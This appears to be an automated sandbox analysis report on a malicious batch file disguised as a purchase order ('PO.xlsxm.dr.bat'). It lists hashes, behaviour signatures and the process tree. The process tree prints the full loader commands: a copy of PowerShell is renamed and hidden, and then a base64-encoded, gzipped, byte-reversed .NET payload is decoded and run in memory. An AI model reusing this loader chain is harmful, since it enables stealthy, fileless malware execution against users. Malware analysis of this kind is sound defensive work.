Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02/05/2024, 01:13

General

  • Target

    PO.xlsxm.dr.bat

  • Size

    2.9MB

  • MD5

    a266a061c002211e274caa234aed8c4f

  • SHA1

    9d517f1bac79fe71fc849905331ff7f10ac51a4e

  • SHA256

    c1bcceda8e24feed7019bb01a0b147661a01b23cae8a54d2a6fc8935bf1bd7cb

  • SHA512

    3fcca48852732f8f3a31999af7ea83883e44ffe5c90f8e417010c82af5caa4fdaed3a3110926f66cd50927fe0b7b3e967d6163e4584cc746a19ba51cbdee55c4

  • SSDEEP

    49152:+az/pgAObh21hpmsU1uRkGgL3razanTMx2DSbCXc7UnW92:I

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2244
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
        2⤵
          PID:1708
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:2272
        • C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
          C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi -WindowStyle hidden -command "$Udydfldga = Get-Content 'C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat' | select-object -Last 1; $Eviptzvmy = [System.Convert]::FromBase64String($Udydfldga);$Ebawdvtqvk = New-Object System.IO.MemoryStream( , $Eviptzvmy );$Dlbpv = New-Object System.IO.MemoryStream;$Maplsau = New-Object System.IO.Compression.GzipStream $Ebawdvtqvk, ([IO.Compression.CompressionMode]::Decompress);$Maplsau.CopyTo( $Dlbpv );$Maplsau.Close();$Ebawdvtqvk.Close();[byte[]] $Eviptzvmy = $Dlbpv.ToArray();[Array]::Reverse($Eviptzvmy); $Jwbidbkxfb = [System.Threading.Thread]::GetDomain().Load($Eviptzvmy); $Gegworgxk = $Jwbidbkxfb.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2256

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

              Filesize

              442KB

              MD5

              92f44e405db16ac55d97e3bfe3b132fa

              SHA1

              04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

              SHA256

              6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

              SHA512

              f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

            • memory/2256-5-0x00000000744C1000-0x00000000744C2000-memory.dmp

              Filesize

              4KB

            • memory/2256-6-0x00000000744C0000-0x0000000074A6B000-memory.dmp

              Filesize

              5.7MB

            • memory/2256-7-0x00000000744C0000-0x0000000074A6B000-memory.dmp

              Filesize

              5.7MB

            • memory/2256-8-0x00000000744C0000-0x0000000074A6B000-memory.dmp

              Filesize

              5.7MB

            • memory/2256-9-0x00000000744C0000-0x0000000074A6B000-memory.dmp

              Filesize

              5.7MB

            • memory/2256-10-0x00000000744C0000-0x0000000074A6B000-memory.dmp

              Filesize

              5.7MB